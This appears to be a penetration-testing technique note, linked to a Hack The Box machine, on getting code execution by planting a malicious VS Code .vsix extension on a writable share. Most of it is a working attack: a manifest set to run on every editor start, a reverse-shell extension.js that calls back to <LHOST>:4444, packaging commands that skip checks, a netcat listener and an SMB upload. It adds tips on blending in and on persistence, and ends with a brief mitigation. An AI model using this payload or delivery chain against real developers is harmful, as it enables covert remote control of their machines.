đź§  VS Code Extension (VSIX) RCE

What is it?

  • Concept: A .vsix is nothing more than a ZIP containing a package.json manifest and JavaScript. When Visual Studio Code installs or activates an extension, that JavaScript runs in the editor’s Node.js host, as the user running VS Code, with no sandbox and full access to child_process, fs and net. So any location a developer’s VS Code picks extensions up from — a share, a drop folder, a “team extensions” directory — is a code-execution primitive against that developer’s session.
  • Impact: Remote code execution as the developer, not as the service account you started from. This is a lateral-movement/user-pivot technique: it converts “I can write a file into a share” into “I have a shell as whoever opens their IDE”.

How it works

  1. VS Code extensions declare an entry point (main) and activation events in package.json. "activationEvents": ["onStartupFinished"] makes the extension’s activate() function run every time the editor finishes starting — no user interaction, no file needing to be opened.
  2. Installing a .vsix from disk (code --install-extension x.vsix, or the “Install from VSIX…” menu item, or any automation that does it) bypasses the Marketplace entirely — no publisher verification, no malware scanning, no signature check. The scanning story only exists on the Marketplace path.
  3. activate() runs with the full Node.js API surface available; a reverse shell is a dozen lines of net + child_process.
  4. The delivery step is the part you actually have to find: a writable SMB share consumed by a developer, a CI job that installs extensions from a directory, a code --install-extension in a scheduled task. On HTB Machine - Checkpoint it was a DevDrop SMB share that a developer’s workstation loaded extensions from.

Exploitation

Prerequisites

  • Write access to a location whose .vsix files get installed/loaded by someone else’s VS Code (share, drop folder, extensions directory, CI step).
  • Something that actually triggers the install — a user, a bot, or a scheduled job. Without it this is just an uploaded file.
  • npm locally to package the extension (@vscode/vsce).

Attack Vectors

# Package the payload extension
npm install -g @vscode/vsce
mkdir payload && cd payload
// package.json — the engines version must be <= the target's VS Code version
{
  "name": "helper-utils",
  "version": "1.0.0",
  "engines": { "vscode": "^1.118.0" },
  "activationEvents": ["onStartupFinished"],
  "main": "./extension.js"
}
// extension.js — runs as the user, on every editor start
const net = require('net');
const cp = require('child_process');
 
exports.activate = function () {
  const client = new net.Socket();
  client.connect(4444, '<LHOST>', () => {
    const shell = cp.spawn('cmd.exe', [], { stdio: 'pipe' });   // /bin/bash on Linux/macOS
    client.pipe(shell.stdin);
    shell.stdout.pipe(client);
    shell.stderr.pipe(client);
  });
};
 
exports.deactivate = function () {};
# Build the .vsix (the two flags skip the checks vsce normally insists on)
vsce package --allow-missing-repository --skip-license -o payload.vsix
 
# Listener
rlwrap nc -lvnp 4444
 
# Deliver it to the writable drop folder
smbclient //<host>/<share> -U '<domain>\<user>%<pass>' -c 'put payload.vsix payload.vsix'

Notes

  • Match the engines.vscode version to the target. If the manifest demands a newer VS Code than the victim runs, the install is refused and nothing fires — the share’s description/README (or an existing .vsix in the folder) usually tells you the version in use.
  • Activation events are the whole trick: onStartupFinished and * fire unconditionally; onLanguage:python, onCommand:... require the victim to do something specific. Pick the unconditional one unless you are trying to be quiet.
  • A .vsix is a ZIP — unzip -l any existing extension in the drop folder to copy its manifest shape (publisher, engines, name) and blend in.
  • Same idea, different ecosystems: any IDE/editor plugin format that executes on load (JetBrains plugins, Sublime .sublime-package, Neovim plugin dirs) is the same primitive; so is a .vscode/tasks.json with "runOn": "folderOpen" if you can write into a repo the victim opens.
  • Don’t forget the payload leaves a persistent artifact — the extension stays installed in %USERPROFILE%\.vscode\extensions\ and re-fires on every editor start, which is convenient as persistence and loud as evidence.

Mitigation

  • Fix: Never let an untrusted-writable location feed an editor’s extension installs — extension provisioning should come from the Marketplace (or a curated internal registry) with an allow-list (extensions.allowed policy) pinning publisher and version. Treat a share that a developer machine auto-installs from as equivalent to a share that executes code, and lock its write ACL accordingly.
FileCreated
HTB Machine - CheckpointThursday, September 3rd 2026, 9:04:16 pm

References: